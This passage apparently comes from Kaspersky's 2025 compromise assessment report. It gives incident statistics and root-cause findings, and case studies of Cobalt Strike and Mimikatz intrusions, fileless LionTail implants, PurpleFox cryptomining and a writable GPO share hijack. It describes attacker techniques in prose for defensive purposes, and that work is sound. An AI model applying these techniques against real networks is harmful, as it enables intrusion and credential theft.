LoLBins, binaries that are part of the operating system or commonly installed utilities (such as certutil, bitsadmin, regsvr32, and wmic), were also present in every assessment. While these files are trusted system components, threat intelligence confirms they are often repurposed for lateral movement, data exfiltration, and persistence. The graph below shows the severity distribution for incidents involving riskware or a LoLBin binary. The relatively high share of medium- (40%) and high-severity (31%) findings underscores that misuse of legitimate utilities is often the vector that enables a compromise to progress beyond the initial foothold.
Severity distribution of incidents involving riskware or LoLBin involvement (2025) (download)
To address the potential use of LoLBins and remote management tools by attackers, we recommend a multi-layered approach that goes beyond static deny lists:
Analyses of recent compromise assessment projects reveal a systematic blind spot in organizations that follow the security-by-purchase model to defend their networks. Without continuous human monitoring or a dedicated threat hunting program, the severity profile of detected incidents becomes heavily skewed toward a higher impact:
| Incident severity breakdown, where 24/7 monitoring or threat hunting is absent | ||
| Control type | Low-severity | Medium/high-severity |
| No continuous monitoring | 14% | 86% |
| No threat hunting | 16% | 84% |
Often, the problem is not a lack of tools, but rather a lack of operational use of those tools. Many enterprises deploy next-generation security solutions and then let them run in “set-and-forget” mode, or they rely exclusively on an alert-driven workflow. The following issues are common in such organizations:
The practical consequence is that adversaries retain an extended dwell time, enabling continued lateral movement and data exfiltration before the organization becomes aware of the breach. This pattern represents a measurable risk exposure that translates directly into business impact. As the following example illustrates, merely purchasing security controls does not guarantee detection; continuous monitoring, regular alert validation, and structured threat hunting are essential to reduce dwell time and limit business impact.
The enterprise invested in security controls and assumed that the environment was secure by design. However, security controls require proper configuration, continuous tuning, and active monitoring to be effective. The tools had been installed, but no one was ensuring that the security controls were configured effectively, there was no analyst reviewing the alerts they produced, and no schedule existed to review the collected logs.
The organization opted for Kaspersky’s Compromise Assessment service. Historical security logs were collected and investigated as part of the assessment procedures. The goal was simple: to determine what had really been going on in the network over the previous few months.
Log analysis revealed clear evidence of malicious activity. Activities related to Impacket behavior were discovered that led to the deployment of Cobalt Strike and Mimikatz on several critical servers, including the domain controllers. These activities were three months old at the time of detection, and the enterprise was unaware of them because there was no effective 24/7 monitoring in place.
Impacket is a collection of Python scripts for network protocols and low-level network packet manipulation. Attackers can abuse it to move laterally into the network. The following are examples of its artifacts detected in the network:
The attacker used Impacket to execute a PowerShell command that downloaded an executable from a command-and-control server. This server was found to be associated with Cobalt Strike. Cobalt Strike is a post-exploitation tool that provides capabilities for remote command execution and lateral movement within a compromised network. The execution was set up via a scheduled task that attempted to masquerade as a legitimate Google Chrome update task.
The timeline assessment confirmed the presence of a Mimikatz binary and a memory dump associated with the same incident on the compromised system, confirming that a credential theft operation had indeed taken place.
The organization was completely unaware of the breach. The activity had gone undetected for three months because the deployed controls were never monitored. Upon learning of the findings, a full-scale incident response was initiated to eradicate the footholds, rotate credentials, and harden the security of the environment.
Security controls are not self-sufficient. Deploying a firewall or an EDR solution does not automatically protect you. Without proper configuration, baseline tuning, and, most critically, continuous log monitoring and threat hunting, those controls become merely decorative. Always-on monitoring, either performed internally or delegated to an external managed security service, can turn weeks-old compromises into minutes-old alerts by correlating events, hunting for anomalous use of penetration testing or hacking tools, and escalating suspicious activity.
An analysis of historical compromise assessment projects reveals a persistent discrepancy between the best practices described in incident response playbooks and the operational realities of executing them in unprepared, often legacy-affected environments. The figure below shows how frequently each response action was required during the initial response phase of a compromise assessment.
Incident response actions required after compromise assessment (download)
The distribution highlights three frequently observed patterns:
Forensic package collection and analysis was the most frequent response action, occurring in 59% of cases. The prevalence of forensic package collection can be explained by two observable factors in CA engagements: (1) the targeted organization’s limited historical visibility and (2) the fact that a substantial proportion of incidents were older than 90 days at the start of the assessment. In many cases, native logs had already been rotated or purged, forcing investigators to rely on residual artifacts (e.g., MFT entries, registry hives, filesystem timestamps) to reconstruct timelines.
Our observations suggest that remote forensic package collection is effectively a prerequisite rather than an optional convenience. The graph below summarizes the reported ability to collect forensic packages, categorized by incident severity level. It highlights that, in a significant proportion of high-severity cases, the affected organization lacked this capability.
The organization’s ability to collect forensic data by incident severity (download)
Response execution and eradication actions, such as file or registry key removal (reported in 39% of cases), were also common. However, they highlighted a notable gap in execution practices. While many organizations reported having EDR capabilities for remote removal, execution was often delegated to IT teams or MSPs via ticketing systems. This can introduce delays and reduce the precision of the removal process. Malware removal is a surgical process, particularly in multi-stage, fileless, or persistence-heavy scenarios. Capability alone is insufficient without expertise, sequencing, and planning, especially when artifacts may exist in shadow copies, backups, hidden paths, or downloader chains.
A notable organizational finding emerged regarding communication. In 32% of projects, internal communication issues at the assessed organization materially impacted response execution. Below are the typical blockers:
These findings suggest that regular tabletop exercises are required to test not only technical playbooks, but also human and communication workflows, as well as operational level agreements that govern and facilitate communication between different teams, and standard operating procedures for proper documentation.
The need to update response plans based on new analytical input arose in 39% of cases, emphasizing the inherently iterative nature of incident response. Early-stage plans cannot realistically account for all variables. Examples of the most commonly observed causes for updating the response plan are listed below:
Based on our experience, teams that treat the IR plan as a living document – incorporating each new artifact, reprioritizing actions, and reissuing the playbook before the next containment step – reduce the risk of missed eradication steps. Conversely, strict adherence to an initial, evidence-limited plan can increase the risk of overlooking persistent footholds.
Finally, distinguishing attacker activity from penetration testing artifacts remained a recurring challenge (12% of cases). Compromise assessments frequently uncover remnants of legitimate testing tools, which can create uncertainty about whether a detected artifact originated from a malicious intrusion or a legitimate penetration test. Contributing factors:
Our data show a correlation between the presence of internal digital forensics or malware reverse engineering capabilities and the distribution of incident severity categories. Across the 2025 compromise assessment engagements, the distribution of low-, medium- and high-severity findings differed markedly between organizations that possessed these capabilities and those that did not. The data below illustrate this correlation and provide a basis for assessing the business value of expanding internal response skill sets.
Incident severity split for cases requiring digital forensics, based on an organization’s capabilities (download)
Organizations capable of analyzing digital forensic artifacts independently experienced half as many high-severity incidents and a higher proportion of low- and medium-severity cases.
Incident severity split for cases requiring malware analysis, based on an organization’s capabilities (download)
The presence of a dedicated reverse engineering resource correlates with a total absence of high-severity cases in our sample set; the majority of incidents were rated as medium severity, with a significant proportion of low-severity outcomes.
The analysis of this correlation indicates, with medium confidence, that the observed shifts are unlikely to be caused solely by sample size effects. Rather, they are more likely to reflect a genuine operational phenomenon: internal digital forensics and malware analysis capabilities contribute not only to SOC processes, but also to cyber-resilience in general.
During a compromise assessment, a persistent in-memory threat was identified on several critical servers. The activity was attributed to the LionTail framework, a sophisticated set of custom loaders and memory-resident shellcode implants. LionTail takes advantage of undocumented Windows HTTP.sys driver behaviors to covertly deliver and retrieve payloads via inbound HTTP traffic, effectively blending malicious activity into legitimate network flows.
Several observed variants are attributed to the Scarred Manticore actor, which generates a unique implant per compromised host and performs data exfiltration while carefully masking command-and-control communications within normal-looking traffic.
Detection was achieved through static memory signatures discovered within the scrcons.exe process. Although scrcons.exe is a legitimate WMI host binary located under C:\Windows\System32\wbem, it is frequently abused to host injected payloads, making it an attractive target for stealthy in-memory operations.
The response plan comprised a number of actions, the most critical of which are highlighted below:
Executing these actions proved challenging for the organization because of its limited digital forensics and reverse engineering capabilities. In incidents dominated by fileless memory-resident threats, these capabilities are not optional – they are essential. Without them, organizations risk losing critical evidence, misjudging the scope of the compromise, or failing to fully eradicate advanced implants that leave minimal traces on disk.
While our specialists were able to complete the investigation and contain the breach, the case revealed a readiness gap. It demonstrated the operational risk of depending on external assistance during high‑impact incidents and reinforced the necessity of in‑house forensic and reverse‑engineering maturity to achieve timely, confident and comprehensive incident handling.
Upon completion of a compromise assessment engagement, the focus shifts from incident response to a consulting phase. The final workshop focuses on preventing recurrence of incidents by identifying underlying deficiencies that allowed them to go unnoticed. The recommendations are actionable and tailored to the environment. For the purpose of this report, they have been grouped into a limited set of high-level categories.
| Root-cause category | Share of incidents | Typical findings |
| Insufficient detection fidelity | 60.7% | • No high-confidence alerts were generated by the EPP/EDR or related log sources. • In 9.4% of cases, the product was mis-configured or out of date or malfunctioning. |
| Missing alert-driven monitoring | 35.9% | • Alerts that could have indicated compromise were generated, but an incident was not declared. • Signals with high uncertainty (e.g., heuristic web shell detections) required analyst validation. |
| Deficient vulnerability and configuration management | 28.2% | • Evident misconfigurations (e.g., disabled audit logging, over-permissive service accounts). • Known vulnerabilities left unpatched or unmitigated. |
| Lack of structured threat hunting processes | 27.4% | • Low-fidelity alerts were never reexamined after initial dismissal. • High-volume telemetry remained unchecked due to staffing constraints. |
| Inadequate security awareness programs | 25.6% | • Credential leaks from personal devices of employees or contractors accounted for 27.2% of incidents where inadequate security awareness was identified. • Social engineering attempts were successful because of insufficient user training. |
| Absence of documented policies/processes | 23.9% | • No formal incident response playbooks, change management procedures or data handling guidelines were available. |
The detection health check was the most frequent corrective action. In more than half of the cases where alerts were missing, a simple verification of sensor health and rule relevance was recommended to fill the gap. Without such validation, immediate attribution of the failure to the product capability could not be made.
Human analysis is still essential for low-confidence alerts. Automated pipelines alone cannot compensate for rules prone to false positives (e.g., generic web shell heuristics). Embedding a manual triage step was recommended to reduce the dwell time for incidents.
Process hygiene (vulnerability management, threat hunting, security policies) accounts for a substantial proportion of the root causes. Even mature organizations exhibited gaps in routine activities that could be mitigated with disciplined workflows. The absence of documented policies/processes was the root cause of 23.9% of cases.
A modern example of a policy gap is the use of generative AI development tools that operate without clear data handling rules. During one project, we identified a macOS workstation that executed the Claude Code (Anthropic) command-line assistant as a VS Code extension. The tool automatically captured filesystem snapshots to enrich its language model prompts. These snapshots included full directory listings and absolute paths to several Excel workbooks containing internal confidential data:
| Parent command line | Command line |
| /bin/zsh -c -l source /Users/[REDACTED]/.claude/shell-snapshots/snapshot-zsh-[REDACTED].sh && eval ‘ls -lh “/Users/[REDACTED]/Documents/[REDACTED]/”*.xlsx‘ \\< /dev/null && pwd -P >| /var/folders/[REDACTED]/claude-[REDACTED] | ls -lh /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx .. [REDACTED] |
The organization was advised to conduct awareness sessions for employees on the risk of exposing confidential internal data to generative AI tools, and to develop a policy governing the use of such tools with confidential information.
Compromise assessment engagements repeatedly show that insufficient detection fidelity is a significant contributing factor to high-severity incidents. In cases where the target organization’s detection coverage was rated low, 52% of incidents were classified as high severity and 15% as low severity. This suggests a correlation: limited visibility appears to increase the proportion of incidents that evolve into high-severity compromises.
Incident severity distribution when detection coverage was insufficient (download)
A common assumption is that engaging a managed security service provider (MSSP) improves detection maturity. The data, however, show a more nuanced picture. Even when an MSSP is engaged, 26.5% of incidents related to low detection coverage remain unidentified, and roughly 50% of MSSP-supported projects have basic Windows audit gaps (e.g., missing event log collection or disabled audit policies).
These findings suggest that outsourcing alone does not guarantee effective detection; active governance and continuous validation are required. Detection should be treated as an evolving capability that requires continuous testing, measurement, and refinement, irrespective of whether it is managed internally or by a third party.
Statistics of missed incidents due to lack of detection capability with or without MSSP (download)
The analysis of root causes of missed detections reveals several recurring themes. In many environments, the technology is present but poorly operationalized. The main issues are:
The underlying issue is an alert-driven, set-and-forget mindset: organizations assume that deployed tools will automatically protect them, even though the tools are not continuously tuned, validated, or enriched with threat intelligence.
| Incident severity breakdown where there was no EPP health check or threat intelligence | |||
| Missing control | High-severity | Medium-severity | Low-severity |
| EPP health check | 48.3% | 36.7% | 15% |
| Threat intelligence feed | 50% | 40% | 10% |
Detection failures are rarely caused by a single missing control; they emerge from weak configuration, insufficient telemetry, and an absence of regular checks of controls and processes to ensure they are functional, especially in outsourced models. A hybrid monitoring approach that combines internal ownership with external MDR or MSSP support consistently proves to be the most resilient model when roles, expectations, and performance metrics are clearly defined. Detection must be treated as a living function, not a procurement outcome.
The following example illustrates the real-world consequences of control gaps by walking through a severe incident that persisted undetected for months simply because the organization lacked the necessary detection capabilities and security tools.
During a compromise assessment engagement, memory was scanned on the target hosts using the threat hunting rule set. Two hidden objects were identified:
PurpleFox drops specially crafted DLLs and forces svchost.exe to load them. From there, it installs a kernel-mode driver that gives the attacker persistent and stealthy execution capabilities, as well as the ability to pull additional payloads. This results in the loading of the XMRig miner.
The deployed EPP solution monitored file creation, registry modifications and network connections. However, its memory inspection module was disabled. Additionally, the signature set applied at the time of the assessment was not up to date. As a result, no alerts were generated for the injected DLLs or the miner’s shellcode. The compromise assessment team identified this detection gap during the memory analysis phase and documented the missing in-memory inspection capability in the final report.
The organization’s security operations were outsourced to an MSSP, which collected the logs and forwarded them to the SIEM solution. Because the logs never contained alerts for in-memory activity, PurpleFox activity was not identified.
In the 2025 compromise assessment engagements, more than half of the threats identified and linked to insufficient vulnerability management practices or missing patches were classified as high severity. The most frequently observed consequences were the deployment of web shells that enabled persistent remote code execution and the exploitation of misconfigured Active Directory instances.
Severity distribution of incidents due to improper vulnerability management (download)
The root causes of missing patches are multifaceted. They include inadequate asset inventory management (25% of projects) and the absence of formal vulnerability management processes (41% of projects). Moreover, 86% of organizations that claimed to have a vulnerability management program still exhibited exploited misconfigurations during compromise assessment engagements. These findings suggest that robust patch management, comprehensive asset inventory practices, and structured vulnerability management processes are critical for preventing high-severity incidents.
During multiple compromise assessment engagements, a high-impact misconfiguration was consistently observed: a Group Policy Object (GPO) was used to point to an executable in a shared folder and run it on every workstation via a scheduled task. The access control list (ACL) on the share was set to “Everyone – Full Control”.
Given that any authenticated domain user can write to the share, an attacker who compromises a single low-privilege account can replace the legitimate binary with a malicious payload. The next scheduled task run propagates the payload automatically to all endpoints that receive the GPO. This provides:
Vulnerability management procedures that include systematic GPO and share permission audits would have flagged the writeable ACL as a high-severity finding, enabling remediation before exploitation. Remediation typically involves restricting the share permissions to “Authenticated Users” with read-only access and limiting modifications to certain privileged accounts. Incorporating these checks into the baseline security controls reduces the attack surface, demonstrating the tangible risk reduction achievable through disciplined vulnerability assessment and penetration testing (VAPT) practices.
In 2025, Kaspersky Compromise Assessment helped organizations reveal a persistent detection gap: 30.8% of all incidents and 52% of high-severity compromises had historical activity spanning over three months. Of all the incidents discovered, 20% were found manually, while 60% were missed by enterprises because of the absence of high-confidence alerts from existing tools. The oldest missed incident identified by the Kaspersky Compromise Assessment team in 2025 was four years old.
Post-incident checkups produced the highest percentage of high-severity findings, while regular proactive audits, compliance-driven audits, and audits performed before merging two networks tended to reveal issues earlier. This indicates that purely reactive investigations often miss hidden persistence. The top high-level recommendations for immediate improvement in 2025 for all projects were:
Addressing the root cause categories systematically will reduce the likelihood of future blind spots and improve the overall security posture of the engaged organizations.
